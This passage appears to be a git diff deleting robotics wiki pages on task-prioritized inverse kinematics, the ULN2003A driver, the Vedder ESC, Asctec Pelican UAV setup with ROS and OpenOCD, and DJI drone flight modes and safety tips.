earlier equation, we get -$$ -\dot{q} = J_1^\#\dot{x}_1 +(I - J_1^\#J_1)(\tilde{J_2}^\#(\dot{x}_2 - J_2\dot{q}_1) + (I - \tilde{J_2}^\#\tilde{J_2})\dot{q}_{3...n}) -$$ -For simplification, the following can be proved (but not here): -$$ -(I - J_1^\#J_1)*\tilde{J_2}^\# = \tilde{J_2}^\# -$$ -So, the final equation is -$$ -\dot{q} = J_1^\#\dot{x}_1 +\tilde{J_2}^\#(\dot{x}_2 - J_2\dot{q}_1) + (I - J_1^\#J_1)(I - \tilde{J_2}^\#\tilde{J_2})\dot{q}_{3...n} -$$ -To really nail this down, we can repeat this for a tertiary task! -$$ -\dot{x}_3 = J_3*\dot{q} = J_3*(J_1^\#\dot{x}_1 +\tilde{J_2}^\#(\dot{x}_2 - J_2\dot{q}_1) + (I - J_1^\#J_1)(I - \tilde{J_2}^\#\tilde{J_2})\dot{q}_{3...n}) -$$ - -$$ -J_3(I - J_1^\#J_1)(I - \tilde{J_2}^\#\tilde{J_2})\dot{q}_{3...n} = \dot{x}_3 - J_3(J_1^\#\dot{x}_1 +\tilde{J_2}^\#(\dot{x}_2 - J_2J_1^\#\dot{x}_1)) -$$ - -To simplify this equation, we can make the following substitutions: -$$ -\dot{q}_1 = J_1^\#\dot{x}_1 -$$ - -$$ -\dot{q}_2 = \tilde{J_2}^\#(\dot{x}_2 - J_2\dot{q}_1) -$$ - -So, -$$ -J_3(I - J_1^\#J_1)(I - \tilde{J_2}^\#\tilde{J_2})\dot{q}_{3...n} = \dot{x}_3 - J_3(\dot{q}_1 + \dot{q}_2) -$$ - -$$ -\tilde{J_3} = J_3(I - J_1^\#J_1)(I - \tilde{J_2}^\#\tilde{J_2}) -$$ - -$$ -\dot{q}_3 = \tilde{J_3}^\# (\dot{x}_3 - J_3(\dot{q}_1 + \dot{q}_2)) -$$ - -As shown, there is a pattern emerging here, and we can actually repeat it as much as we want to, with diminishing benefits depending on the number of redundant degrees of freedom. - -The algorithm for computing the full task prioritization inverse kinematics can be generalized to the following: -$$ -\dot{q} = \sum_{i=1}^{n}\dot{q}_i, -$$ -where -$$ -\dot{q}_i = (J_i(\prod_{j=1}^{i-1}N_j))^\#(\dot{x}_i-J_i(\sum_{j=1}^{i-1}\dot{q}_j)), -$$ - -$$ -N_j = I - (J_{j-1}N_{j-1})^\#(J_{j-1}N_{j-1}) -$$ - -$$ -N_1 = I, -$$ - -and n is the number of tasks, where highest priority is i = 1. - -Once the summed up joint velocities are computed, those can be sent directly to the manipulator to execute the tasks in the prioritized order. If a lower priority task has degrees of freedom that would interfere with the higher priority task, it will sacrifice those degrees of freedom to not compromise the higher priority task. - -## Further Reading and Resources - -​ As discussed in the sections above, Task Prioritization Control can be used to perform multiple tasks at once, which include not only mission critical tasks, but also tasks that will reduce risk of unstable behaviors which can occur when at singularities or at joint limits. The following papers and resources contain both more information on task prioritization, and more information on other tasks that could be added to the controller to improve robustness of a manipulator system. - -### Task Prioritization - -The following papers below discuss derivation of task prioritization and application, including obstacle avoidance for manipulators. The first paper is one of the first formulations of task prioritization, and the second is a generalization of the algorithm. - -Task-Priority Based Redundancy Control of Robot Manipulators: - -https://journals.sagepub.com/doi/10.1177/027836498700600201 - -A general framework for managing multiple tasks in highly redundant robotic systems: - -https://ieeexplore.ieee.org/document/240390 - -### Pseudoinverse Calculation and Singularity Damping - -This paper gives a brief introduction to inverse kinematics in general, but also how to calculate the psuedoinverse through Singular Value Decomposition, which is useful when already using the Singular Value Decomposition to determine if an arm is near singularity. It also includes singularity damping, which can stabilize a kinematic controllers behavior near singularities (which may sacrifice accuracy). - -Introduction to Inverse Kinematics with Jacobian Transpose, Pseudoinverse and Damped Least Squares methods: - -http://graphics.cs.cmu.edu/nsp/course/15-464/Spring11/handouts/iksurvey.pdf - -### Measures of Manipulability - -This paper discusses an interesting way to decompose a jacobian into separate parts. It has a really good discussion on different metrics for manipulability measurements, which is an inverse to singularity (higher manipulability means farther from singularity). - -The joint‐limits and singularity avoidance in robotic welding: - -https://www.emerald.com/insight/content/doi/10.1108/01439910810893626/full/html - -### Manipulability Gradient Estimation (For Singularity Avoidance) - -This paper has a lot of varying content. The main takeaway for this controller specifically is if you want to implement a singularity avoidance algorithm task. This paper has a good method for estimating the gradient of manipulability or singularities, which can be combined with a task to avoid singularities. - -Strategies for Increasing the Tracking Region of an Eye-in-Hand System by Singularity and Joint Limit Avoidance: - -https://kilthub.cmu.edu/articles/journal_contribution/Strategies_for_Increasing_the_Tracking_Region_of_an_Eye-in-Hand_System_by_Singularity_and_Joint_Limit_Avoidance/6625910 - -### Joint Limit Avoidance - -This paper has a great formulation for a joint limit avoidance task. - -A Weighted Gradient Projection Method for Inverse Kinematics of Redundant Manipulators Considering Multiple Performance Criteria: - -https://www.sv-jme.eu/article/a-weighted-gradient-projection-method-for-inverse-kinematics-of-redundant-manipulators-considering-multiple-performance-criteria/ - -## References -- Task-Priority Based Redundancy Control of Robot Manipulators: https://journals.sagepub.com/doi/10.1177/027836498700600201 -- A general framework for managing multiple tasks in highly redundant robotic systems: https://ieeexplore.ieee.org/document/240390 -- Introduction to Inverse Kinematics with Jacobian Transpose, Pseudoinverse and Damped Least Squares methods: http://graphics.cs.cmu.edu/nsp/course/15-464/Spring11/handouts/iksurvey.pdf -- The joint‐limits and singularity avoidance in robotic welding: https://www.emerald.com/insight/content/doi/10.1108/01439910810893626/full/html -- Strategies for Increasing the Tracking Region of an Eye-in-Hand System by Singularity and Joint Limit Avoidance: https://kilthub.cmu.edu/articles/journal_contribution/Strategies_for_Increasing_the_Tracking_Region_of_an_Eye-in-Hand_System_by_Singularity_and_Joint_Limit_Avoidance/6625910 -- A Weighted Gradient Projection Method for Inverse Kinematics of Redundant Manipulators Considering Multiple Performance Criteria: https://www.sv-jme.eu/article/a-weighted-gradient-projection-method-for-inverse-kinematics-of-redundant-manipulators-considering-multiple-performance-criteria/ - - -/wiki/actuation/uln2003a-motor-controller/ ---- -date: 2017-08-21 -title: Using ULN 2003A as a motor controller ---- -![Using ULN 2003A as a stepper motor controller](/assets/images/actuation/ULN2003AMotorController-8ee22.png) - -## ULN 2003A - Darlington Array -ULN 2003A or otherwise known as Darlington array is a way to use signals from a microcontroller or any device that can only withstand low currents to control high current drawing devices such as relays, motors, bulbs etc. - -ULN 2003A working is such that when input ports(1 to 7 on the left side) are given a "HIGH" input the corresponding output port on the right side goes "LOW". We can use this "LOW" state to ground the neutral of our device. - -As can be seen in this diagram one of the leads of all of the coils of the motor are connected to a +5V and the other leads are all connected to the ULN2003A. In the normal state, the ULN2003A will have a "HIGH" on the output ports making the resultant potential difference across the coils ZERO. However, when one or more of the input pins turn "HIGH" the corresponding output pins turn "LOW" thus creating a potential difference across the coil and activating the coil. It must be noted here that the current going through the coil will ultimately go through the ULN2003A and hence the current capacity of ULN2003A limits the capacity of the device being connected. Each of the ports has a current limitation of 500mA and the voltage can go as high as 50V. However, if more current capacity is required then parallel connections can be made. - -ULN2003A can thus be used as a low power motor controller, which is much more compact compared to traditional motor controllers. It can also be used to toggle relays, lights etc. By using this the current load on the microcontroller can be minimized. - - -/wiki/actuation/vedder-electronic-speed-controller/ ---- -date: 2017-08-21 -title: Vedder Open-Source Electronic Speed Controller ---- - -This page provides resources for the open-source electronic speed controller designed by Benjamin Vedder. - -## Advantages -The main webpage of the Vedder Esc project is [found here](http://vedder.se/2015/01/vesc-open-source-esc/). The speed controller is designed for brushless DC motors with each controller driving a single motor. A summary of features is listed below: - -- Voltage: 8V – 60V (Safe for 3S to 12S LiPo). -- Current: Up to 240A for a couple of seconds or about 50A continuous depending on the temperature and air circulation around the PCB. -- Sensored and sensorless FOC wich auto-detection of all motor parameters is implemented since FW 2.3. -- Firmware based on ChibiOS/RT. -- PCB size: slightly less than 40mm x 60mm. -- Current and voltage measurement on all phases. -- Regenerative braking. -- DC motors are also supported. -- Sensored or sensorless operation. -- A GUI with lots of configuration parameters -- Good start-up torque in the sensorless mode (and obviously in the sensored mode as well). -- Duty-cycle control, speed control or current control. -- Seamless 4-quadrant operation. -- Interface to control the motor: PPM signal (RC servo), analog, UART, I2C, USB or CAN-bus. -- Adjustable protection against: - - Low input voltage - - High input voltage - - High motor current - - High input current - - High regenerative braking current (separate limits for the motor and the input) - - Rapid duty cycle changes (ramping), High RPM (separate limits for each direction) - -## Acquisition -The speed controller can be built from scratch, but it is far more time-effective to purchase a model from a supplier. These can be purchased for between $80 - $150 with various design modifications. A proven model is the VESC-X from Enertion. Despite being an Australian company, the controllers are produced and distributed in the US with a 3-5 day lead time. There is a quantity discount for 4+ controllers and if you place the controllers in your cart after registering and wait a bit, you'll get a 10% off coupon code by e-mail. The current code as of 3/5/2017 was *"pushingsucks".* - -## Sample Arduino Code -The [code in this zip file](/wiki/actuation/assets/DriveCharacterization.zip) interfaces an Arduino Mega 2560 to a VESC-X over serial. The sketch runs an open loop characterization routine that drives the motor in each direction. Motor braking is applied when a duty cycle command is set to 0. Motor freewheeling occurs when a current command is set to 0. diff --git a/wiki/common-platforms/__all_subsections.md b/wiki/common-platforms/__all_subsections.md deleted file mode 100644 index ae9b8b4a..00000000 --- a/wiki/common-platforms/__all_subsections.md +++ /dev/null @@ -1,1535 +0,0 @@ -/wiki/common-platforms/asctec-uav-setup-guide/ ---- -date: 2019-03-05 -title: Asctec Pelican UAV Setup Guidance ---- - -This document acts as a tutorial on how to set up a [Asctec Pelican UAV](http://www.asctec.de/en/uav-uas-drones-rpas-roav/asctec-pelican/) for autonomous waypoint navigation using ros pakage [asctec_mav_framework](http://wiki.ros.org/asctec_mav_framework). We are setting up an Asctec Quadrotor Pelican running with Ubuntu 14.04 and pre-installed ROS-jade. -
- -![](https://i.imgur.com/1RTxLVk.jpg) - -
- - -# Table of Contents -- [Table of Contents](#table-of-contents) - - [Useful Sites](#useful-sites) - - [System Overview](#system-overview) - - [Setup Network and SSH](#setup-network-and-ssh) - - [Install ROS Packages](#install-ros-packages) - - [Flash Programs in the HLP](#flash-programs-in-the-hlp) - - [Run the ROS package on Atomboard](#run-the-ros-package-on-atomboard) - - [Summary](#summary) - - [References](#references) - - [/wiki/common-platforms/dji-drone-breakdown-for-technical-projects/](#wikicommon-platformsdji-drone-breakdown-for-technical-projects) - - [published: true](#published-true) - - [Controller Drawbacks](#controller-drawbacks) - - [DJI flight modes](#dji-flight-modes) - - [Positioning Mode (P-Mode)](#positioning-mode-p-mode) - - [Attitude Mode (ATTI Mode)](#attitude-mode-atti-mode) - - [F-mode](#f-mode) - - [Drone project Tips](#drone-project-tips) - - [Safety Tips](#safety-tips) - - [Summary](#summary-1) - - [See Also:](#see-also) - - [/wiki/common-platforms/dji-sdk/](#wikicommon-platformsdji-sdk) - - [title: Outdoor UAV navigation (focus on DJI SDK)](#title-outdoor-uav-navigation-focus-on-dji-sdk) - - [Importance of using a Compass](#importance-of-using-a-compass) - - [Waypoint Navigation](#waypoint-navigation) - - [/wiki/common-platforms/hello-robot/](#wikicommon-platformshello-robot) - - [title: Workign with the Hello Robot Stretch RE1](#title-workign-with-the-hello-robot-stretch-re1) - - [The HelloNode Class](#the-hellonode-class) - - [get\_wrist\_state(joint\_states)](#get_wrist_statejoint_states) - - [get\_lift\_state(joint\_states)](#get_lift_statejoint_states) - - [get\_left\_finger\_state(joint\_states)](#get_left_finger_statejoint_states) - - [get\_p1\_to\_p2\_matrix(\, \, tf2\_buffer, lookup\_time=None, timeout\_s=None)](#get_p1_to_p2_matrixp1_frame_id-p2_frame_id-tf2_buffer-lookup_timenone-timeout_snone) - - [move\_to\_pose(pose)](#move_to_posepose) - - [get\_robot\_floor\_pose\_xya()](#get_robot_floor_pose_xya) - - [The ToolShare Class](#the-toolshare-class) - - [Summary](#summary-2) - - [See Also:](#see-also-1) - - [Further Reading](#further-reading) - - [/wiki/common-platforms/husky\_interfacing\_and\_communication/](#wikicommon-platformshusky_interfacing_and_communication) - - [title: Husky Interfacing and Communication](#title-husky-interfacing-and-communication) - - [Husky Onboard Controller:](#husky-onboard-controller) - - [Husky Teleoperation](#husky-teleoperation) - - [Husky Localization](#husky-localization) - - [Summary](#summary-3) - - [/wiki/common-platforms/khepera4/](#wikicommon-platformskhepera4) - - [published: true](#published-true-1) - - [Overview](#overview) - - [Quick-start guide](#quick-start-guide) - - [Programming](#programming) - - [WiFi](#wifi) - - [ssh \& scp](#ssh--scp) - - [Example](#example) - - [Summary](#summary-4) - - [Further Reading](#further-reading-1) - - [/wiki/common-platforms/pixhawk/](#wikicommon-platformspixhawk) - - [title: Pixhawk UAV Platform](#title-pixhawk-uav-platform) - - [Set Up](#set-up) - - [Firmware](#firmware) - - [Recommendation](#recommendation) - - [Off-board Companion Computer](#off-board-companion-computer) - - [Hardware](#hardware) - - [Connecting to the Pixhawk](#connecting-to-the-pixhawk) - - [Recommendations](#recommendations) - - [Offboard Control](#offboard-control) - - [UAV state monitoring](#uav-state-monitoring) - - [Position Control](#position-control) - - [Tips:](#tips) - - [Velocity Control](#velocity-control) - - [Recommendation](#recommendation-1) - - [Setting up a simulator](#setting-up-a-simulator) - - [Additional Resoursces](#additional-resoursces) - - [/wiki/common-platforms/rccars-the-complete-guide/](#wikicommon-platformsrccars-the-complete-guide) - - [published: true](#published-true-2) - - [Chassis](#chassis) - - [Electric Drive System](#electric-drive-system) - - [Sensor suite for odometry](#sensor-suite-for-odometry) - - [Microcontrollers and single board controllers](#microcontrollers-and-single-board-controllers) - - [Configuring the VESC 6 EDU and controlling it via ROS Noetic deployed on a Raspberry Pi 4B.](#configuring-the-vesc-6-edu-and-controlling-it-via-ros-noetic-deployed-on-a-raspberry-pi-4b) - - [See Also:](#see-also-2) - - [References:](#references-1) - - [/wiki/common-platforms/ros2-navigation-for-clearpath-husky/](#wikicommon-platformsros2-navigation-for-clearpath-husky) - - [title: ROS 2 Navigation with the Clearpath Husky](#title-ros-2-navigation-with-the-clearpath-husky) - - [ROS 1 - ROS 2 Bridge](#ros-1---ros-2-bridge) - - [Navigation Stack](#navigation-stack) - - [Summary](#summary-5) - - [See Also:](#see-also-3) - - [Further Readings:](#further-readings) - - [/wiki/common-platforms/unitree-go1/](#wikicommon-platformsunitree-go1) -- [Jekyll 'Front Matter' goes here. Most are set by default, and should NOT be](#jekyll-front-matter-goes-here-most-are-set-by-default-and-should-not-be) -- [overwritten except in special circumstances.](#overwritten-except-in-special-circumstances) -- [You should set the date the article was last updated like this:](#you-should-set-the-date-the-article-was-last-updated-like-this) -- [This will be displayed at the bottom of the article](#this-will-be-displayed-at-the-bottom-of-the-article) -- [You should set the article's title:](#you-should-set-the-articles-title) -- [The 'title' is automatically displayed at the top of the page](#the-title-is-automatically-displayed-at-the-top-of-the-page) -- [and used in other parts of the site.](#and-used-in-other-parts-of-the-site) - - [Form Factor](#form-factor) - - [Power and Interface](#power-and-interface) - - [Sensors and Processors](#sensors-and-processors) - - [Network Configuration for Unitree Go1 Camera Streaming](#network-configuration-for-unitree-go1-camera-streaming) - - [Wirelessly Stream Camera Feed from Unitree Go1's Head Cameras to Desktop](#wirelessly-stream-camera-feed-from-unitree-go1s-head-cameras-to-desktop) - - [Controlling Unitree in Simulation and Real-World Scenarios](#controlling-unitree-in-simulation-and-real-world-scenarios) - - [Introduction](#introduction) - - [Controlling the Robot in Simulation](#controlling-the-robot-in-simulation) - - [Controlling the Robot in Real-World Scenarios](#controlling-the-robot-in-real-world-scenarios) - - [Summary](#summary-6) - - [References](#references-2) - - [/wiki/common-platforms/ur5e/](#wikicommon-platformsur5e) - - [title: Universal Robots UR5e Collaborative Robotic Arm](#title-universal-robots-ur5e-collaborative-robotic-arm) - - [Prepare the Robot](#prepare-the-robot) - - [\[Optional\] Real-time Kernel Setup for Development Machine](#optional-real-time-kernel-setup-for-development-machine) - - [Set up UR5e Drivers on Development Machine](#set-up-ur5e-drivers-on-development-machine) - - [Networking Setup](#networking-setup) - - [\[Optional\] Extract Calibration Information](#optional-extract-calibration-information) - - [Running the UR5e Driver](#running-the-ur5e-driver) - - [Controlling the UR5e using MoveIt](#controlling-the-ur5e-using-moveit) - - [References](#references-3) - -## Useful Sites -Before we start, here are some useful sites for Asctec Pelican Information: -- [Asctec Pelican Official Documentation](http://wiki.asctec.de/display/AR/AscTec+Research+Home): General Description of the system, user manual, SDK,etc. (some contents are outdated) -- [Asctec User Discussion Forum ](http://asctec-users.986163.n3.nabble.com/): Great for troubleshooting -- [asctec_mav_framework ROS wiki](http://wiki.ros.org/asctec_mav_framework): Interface with HLP -- [asctec_drivers](http://wiki.ros.org/Robots/AscTec): Interface with LLP -> **Note**: `asctec_drivers` is develped to enable on-board computer communicate with Low Level Processor (LLP), while`asctec_mav_framework` enable on-boad computer and High Level Processor (HLP) communication. You need to decide which package to use based on your hardware configuration. - -## System Overview -The structure of control subsystem of Asctec Pelican is shown below -![](https://i.imgur.com/XYMKcWM.png) -While the connection ports of AutoPilot Board is -![](https://i.imgur.com/frdwMy5.jpg) - ->**Warning**: The [documentation](http://wiki.asctec.de/display/AR/AscTec+Atomboard) of Atomboard on-board computer on AscTec Wiki is based on **Atomboard 2** instead of **Atomboard 3**. - -## Setup Network and SSH -As we have an easy access to a monitor, a keyboard, and a mouse, we configed the network and ssh using a LVDS screen for the first time. [This blog](http://asctecbasics.blogspot.com/2013/06/basic-wifi-communication-setup-part-1.html) has detailed instruction if you need to set up the network without a screen. - -* After pluging in the monitor, keyboard and mouse, turn on the on-board computer. Follow the instruction on the screen to start the GUI. Setup WiFi connection and set up static IP (If you are using hotspot or standby WiFi router, the IP should be static usually). You can check the IP address using `ifconfig` command. - -* Check if SSH is enabled on atomboard using `systemctl is-enabled ssh` and active `systemctl is-active ssh`. The output `enbaled` and `active`, but if not, go through [this link](http://ubuntuhandbook.org/index.php/2014/09/enable-ssh-in-ubuntu-14-10-server-desktop/) to enable ssh. - -* Set up ssh on your **Master Computer** (your PC) use the above link as well. - -* Test ssh: Connect your **Master Computer** to the same WiFi network with Atomboard and try `ssh asctec@IP_OF_ATOMBOARD` and enter the password (should be `asctec`). -* Configure `ROS_MASTER_URI` on **Atomboard**. Here we select our master computer to run the ros master, so use your favorite editor to open `~/.bashrc` and add - ``` - export ROS_MASTER_URI=YOUR_MASTER_COMPUTER_IP:11311 - export ROS_HOSTNAME=ATOMBOARD_IP - ``` -* Configure `ROS_MASTER_URI` on **Master Computer**. Again, use your favorite editor to open `~/.bashrc` and add - ``` - export ROS_MASTER_URI=YOUR_MASTER_COMPUTER_IP:11311 - export ROS_HOSTNAME=MASTER_COMPUTER_IP - ``` -* Now your Asctec Atomboard should be able to communicate with the master computer via ROS and you can run the talker/listener test to test described in [ROS Multimachine Tutorial](http://wiki.ros.org/ROS/Tutorials/MultipleMachines)to test the communication. - -## Install ROS Packages -- Create a new catkin workspace -- git clone `asctec_mav_framework` -- Install all the required dependencies - - bullet -- catkin_make -- Calibrate cameras - -## Flash Programs in the HLP -- Download [AscTec SDK](http://wiki.asctec.de/display/AR/SDK+Downloads) -- Setup OpenOCD - - [SDK Setup for Linux](http://wiki.asctec.de/display/AR/SDK+Setup+for+Linux) - - [SDK Setup for Windows](http://wiki.asctec.de/display/AR/SDK+Setup+for+Windows) - >**Note**: If the driver of JTAG is not properly installed, try to update the drivers in the device manager manually and point it to the `JTAG/oocd_link_treiber` subfolder in the AscTec_ARM_SDK installation folder. Windows tends to refuse this driver due to a missing signature. Please search for "Disable Windows Driver Signature Enforcement" for a tutorial on how to temporarily disable this check. Then you should be able to install the driver. -- If you are using Ubuntu 16.04 and openocd 0.8.0 or above, if you run the `sudo openocd -f lpc2xxx_asctecusbjtag05.cfg` when following the official instruction, you will run into this error: - ![](https://i.imgur.com/nG55vEy.png) - - This is because openocd package update changes the syntax and no longer support ft2232. You can choose to either switch back to openocd 0.7.0 (which is not easy) or modify config file `lpc2xxx_asctecusbjtag05.cfg` to this. - ``` - interface ftdi - - #ftdi_layout_signal oocdlink - #ftdi_vid_pid 0x0403 0xbaf8 - - # Added by Onion - #ftdi_device_desc "OOCDLink" - ftdi_vid_pid 0x0403 0xbaf8 - - ftdi_layout_init 0x0508 0x0f1b - ftdi_layout_signal nTRST -data 0x0200 -noe 0x0100 - ftdi_layout_signal nSRST -data 0x0800 -noe 0x0400 - - adapter_khz 5 - telnet_port 4444 - gdb_port 3333 - - # Use RCLK. If RCLK is not available fall back to 500kHz. - # - # Depending on cabling you might be able to eek this up to 2000kHz. - jtag_rclk 500 - - if { [info exists CHIPNAME] } { - set _CHIPNAME $CHIPNAME - } else { - set _CHIPNAME lpc2148 - } - - if { [info exists ENDIAN] } { - set _ENDIAN $ENDIAN - } else { - set _ENDIAN little - } - - if { [info exists CPUTAPID ] } { - set _CPUTAPID $CPUTAPID - } else { - set _CPUTAPID 0x4f1f0f0f - } - - adapter_nsrst_delay 200 - adapter_nsrst_delay 200 - - # NOTE!!! LPCs need reset pulled while RTCK is low. 0 to activate - # JTAG, power-on reset is not enough, i.e. you need to perform a - # reset before being able to talk to the LPC2148, attach is not possible. - - reset_config trst_and_srst srst_pulls_trst - - jtag newtap $_CHIPNAME cpu -irlen 4 -ircapture 0x1 -irmask 0xf -expected-id $_CPUTAPID - - set _TARGETNAME $_CHIPNAME.cpu - target create $_TARGETNAME arm7tdmi -endian $_ENDIAN -chain-position $_TARGETNAME - - #-variant arm7tdmi-s_r4 - - $_TARGETNAME configure -work-area-phys 0x40000000 -work-area-size 0x4000 -work-area-backup 0 - - $_TARGETNAME configure -event reset-init { - # Force target into ARM state - arm core_state arm - - # Do not remap 0x0000-0x0020 to anything but the flash (i.e. select - # "User Flash Mode" where interrupt vectors are _not_ remapped, - # and reside in flash instead). - # - # See section 7.1 on page 32 ("Memory Mapping control register") in - # "UM10139: Volume 1: LPC214x User Manual", Rev. 02 -- 25 July 2006. - # http://www.standardics.nxp.com/support/documents/microcontrollers/pdf/user.manual.lpc2141.lpc2142.lpc2144.lpc2146.lpc2148.pdf - mwb 0xE01FC040 0x01 - } - - # flash bank lpc2000 0 0 [calc_checksum] - set _FLASHNAME $_CHIPNAME.flash - flash bank $_FLASHNAME lpc2000 0x0 0x7d000 0 0 $_TARGETNAME lpc2000_v2 14745 calc_checksum - - arm7_9 fast_memory_access enable - arm7_9 dcc_downloads enable - ``` - Refer to [this link](http://asctec-users.986163.n3.nabble.com/Cannot-connect-asctec-pelican-with-the-computer-using-JTAG-td4025048.html) for the detailed discussion. -- Connect your computer with HLP via JTAG -- Test connection - - Check if the device is plugged in and recognized - ``` - wayne@asctec:~/AutoPilot_HL_SDK$ ls /dev/ttyUSB* - /dev/ttyUSB0 - ``` - - Connect to the device via OpenOCD - ``` - sudo openocd -f lpc2xxx_asctecusbjtag05.cfg - ``` - - Open a telnet connection to OpenOCD - ``` - telnet localhost 4444 - ``` -- Flash `main.hex` from `astec_hl_firmware` into HLP - ``` - reset halt - flash write_image erase main.bin - reset run - ``` - -## Run the ROS package on Atomboard -- change baud rate paramter in `asctec_mav_framework/asctec_hl_interface/launch/fcu_parameters.yaml` from -`fcu/baudrate:57600` to `fcu/baudrate:460800` -- run `roslaunch asctec_hl_interface fcu.launch` -- check ROS topics by running `rostopic list` - - - -Entries in the Wiki should follow this format: -1. Excerpt introducing the entry's contents. - - Be sure to specify if it is a tutorial or an article. - - Remember that the first 100 words get used else where. A well written excerpt ensures that your entry gets read. -2. The content of your entry. -3. Summary. -4. See Also Links (relevant articles in the Wiki). -5. Further Reading (relevant articles on other sites). -6. References. - - -## Summary -This tutorial gives an overview on how to set up the Asctec Pelican UAV. In summary, you could first setup the WiFi connection and enable SSH, followed by setting up ROS environment and communication, and then flash the `asctec_hl_firmware` into HLP. Now you should be able to ssh to the AscTec Atomboard and read all the sensor data from the autopilot board by running `roslaunch asctec_hl_interface fcu.launch`. The next step is to test motors and start your first flight! - -## References -[1] AscTec Wiki: http://wiki.asctec.de/display/AR/AscTec+Research+Home -[2] AscTec Pelican Network Setup Blog: http://asctecbasics.blogspot.com/2013/06/basic-wifi-communication-setup-part-1.html -[3] AscTec JTAG Driver Setup Blog: -http://asctec-users.986163.n3.nabble.com/Can-t-connect-with-JTAG-td4024671.html -[4] OpenOCD Syntax Error Discussion: http://asctec-users.986163.n3.nabble.com/Cannot-connect-asctec-pelican-with-the-computer-using-JTAG-td4025048.html - - -/wiki/common-platforms/dji-drone-breakdown-for-technical-projects/ ---- -date: 2020-04-06 -title: DJI Drone Breakdown for Technical Projects -published: true ---- -DJI is one of the best selling drone companies in the world. Considering also the fact that a DJI Matrice M100 costs \$3500 and a M210 costs \$12000, compared to a couple hundred dollars for most other manufacturers, it is obvious that they have some of the best drones in the market. DJI’s hardware is one of the best if not the best at the writing of this article (2020). - -It’s a good choice for many projects where one would prefer not to build their own drone from scratch; however, it comes with important caveats especially for professional and research projects. Below we will look at its main drawback, and then give an introduction to its flight modes as well as general tips for drone projects. - - -## Controller Drawbacks -DJI drones have one of the best commercially available PID controllers along with its state of the art hardware, but for research and enterprise development users, the limitations imposed are noteworthy. After a certain depth, the software stack is locked from customization, and the controller performs much like a black box. - -To be more specific, below we will look at the components involved in controlling a DJI drone. - -![DJI Control Scheme](/assets/images/common-platforms/DJI.png) - -The keypoint is: -> DJI drones *need to read from its own GPS* to satisfy its EKF needs in order to produce proper state estimations for Position and Velocity Controls. - -DJI drones in general rely heavily on the GPS for controls, and mostly doesn’t work if GPS isn’t connected or enabled. The EKF (Extended Kalman Filter) running inside the DJI drone needs the GPS to be connected and working in order to produce the necessary state estimation which in turn is responsible for producing the ultimate RC commands (Attitude commands). - -This won't be an issue for regular users as mentioned before, but if the project relies on precise control and localisation of the drone beyond 2 meters accuracy, GPS becomes unreliable even when its health is at the max. To tackle this we can take the help of other better localisation sensors like radio beacons or even RTK GPS which usually provides centimeter level accuracy. -(Read more about RTK here) However, the EKF and position/velocity controllers will need to be replaced. - -That’s why for advanced users and researchers, there’s a hacky workaround by swapping out the DJI controller with an open source controller like the PX4. Imagine the customizability under your disposal by merging the best hardware with one of the best customizable controllers. - -This is a growing trend in the research community, with robust and plentiful community support behind the open source PX4 as well as the switch and integration with DJI drones. - - -## DJI flight modes -Below are the flight controller modes for DJI drones. You can also read more [here](https://www.heliguy.com/blog/2017/11/08/dji-intelligent-flight-modes/). - -### Positioning Mode (P-Mode) -P-Mode is the standard flight mode for the majority of pilots. In this mode, all the sensors on the aircraft are active, GPS and any available vision or infrared sensors. This results in precise hovering and automatic breaking of the aircraft when no signals are given by the remote controller. - -P-Mode requires a strong GPS signal to function and will disconnect if lost. - -### Attitude Mode (ATTI Mode) -ATTI mode will only maintain the altitude of the aircraft and does not use any GPS or visual system data. The aircraft will therefore drift and move with wind, and needs to be manually controlled. Some pilots prefer this mode as it gives near-complete control of the aircraft without interference, but is more dangerous than the P-Mode. - -Besides manual selection, the aircraft will also enter ATTI Mode if GPS signal is lost or if compass interference exists. All pilots should learn to fly in ATTI Mode as it’s likely to happen at some point during a flight, and is critical in avoiding crashes. Try it out in a large open space area with no obstacles first and get used to operating your aircraft in this mode. - -ATTI Mode is available on all aircraft however, it cannot be manually selected on the Mavic Pro range. - -### F-mode -This mode is used for running custom software stack to control the drone. It opens the controller to external interference. - - -## Drone project Tips -- Have a designated pilot for your team. -- Carry more than just one battery. -- Always have more than 2 batteries charged. -- If you can buy an extra drone, do it. Otherwise, buy 3 sets of essential parts. -- Always carry a battery warmer during winter (Can’t stress this enough) -- Add simulation to augment your project and increase productivity. -- Obtain a drone license. -- Register your drone. -- Before purchasing a drone, consider the Payload as well if you’re going to place sensors and processors on top of it. -- Calculate the battery capacity based on the other items placed on the drone. -- Charge the battery only using the original charger. -- Consider the wind factor before attempting to fly. -- Drones won’t operate if the battery temperature is less than a particular temperature (For DJI it’s 15 degree Celsius) -- Don’t operate it when there’s an animal nearby. Things can go bad in a very short period. -- Fly in an area where you’re licensed to fly. -- Calibrate the drone compass every time you fly -- If in P mode, make sure the GPS is fully functional. Else the drone will drift out of control. -- Make sure you place the drone in the desired orientation to make sure pitching forward actually pitches forward from the pilot’s POV. -- If you’re adding weight to the drone, make sure it’s balanced properly. -- Make sure it’s waterproof before trying out in rain or areas close to the water body. -- Make sure the right propellers are attached to the appropriate ones (CW and CCW) -- Make sure to use the offset Function (Trim) if you find the controller is not perfect. -- Change from P to ATTI mode when taking manual control during emergencies. - -## Safety Tips -Quadcopters are basically flying lawnmowers.They can be dangerous if not operated carefully. -Here are some quadcopter safety precautions to keep in mind: - -- If you’re about to crash into something, turn the throttle down to zero, so you don’t potentially destroy your quadcopter, injure somebody, or injure yourself. -- Keep your fingers away from the propellers when they’re moving. -- Unplug/take out the battery of the quad before doing any work on it. If it turns on accidentally and the propellers start spinning, you might have a tough time doing future flights with missing fingers. -- If you’re a beginner learning to fly indoors, tie the quadcopter down or surround it by a cage. - - -## Summary -If you are thinking of using DJI drones for your project, either be sure to stick with their GPS, implement your own EKF and Controller, or augment their drone with a PX4 controller to take advantage of the DJI hardware. Be sure to know the three flight control modes well, and follow general and safety tips for a successful project. - -## See Also: -- [DJI SDK Introduction](https://roboticsknowledgebase.com/wiki/common-platforms/dji-sdk/) - - -/wiki/common-platforms/dji-sdk/ ---- -date: 2017-08-21 -title: Outdoor UAV navigation (focus on DJI SDK) ---- -While DJI has been developing great hardware and software to make relatively safe UAV technology commercially available and has made available an amazing SDK to help research and development, sometimes it becomes difficult to get details on their implementation as their documentation is pretty limited. This article will help a beginner quickly understand what kind of flight information they can get using DJI SDK and how they can use it for their specific use case. - -It's critical to understand coordinate systems that DJI aircrafts use. [This link](https://developer.dji.com/mobile-sdk/documentation/introduction/flightController_concepts.html) is a good guide. - -Following are a few important points which follow from the information given on the link above but are not directly stated, which I found to be really important: - 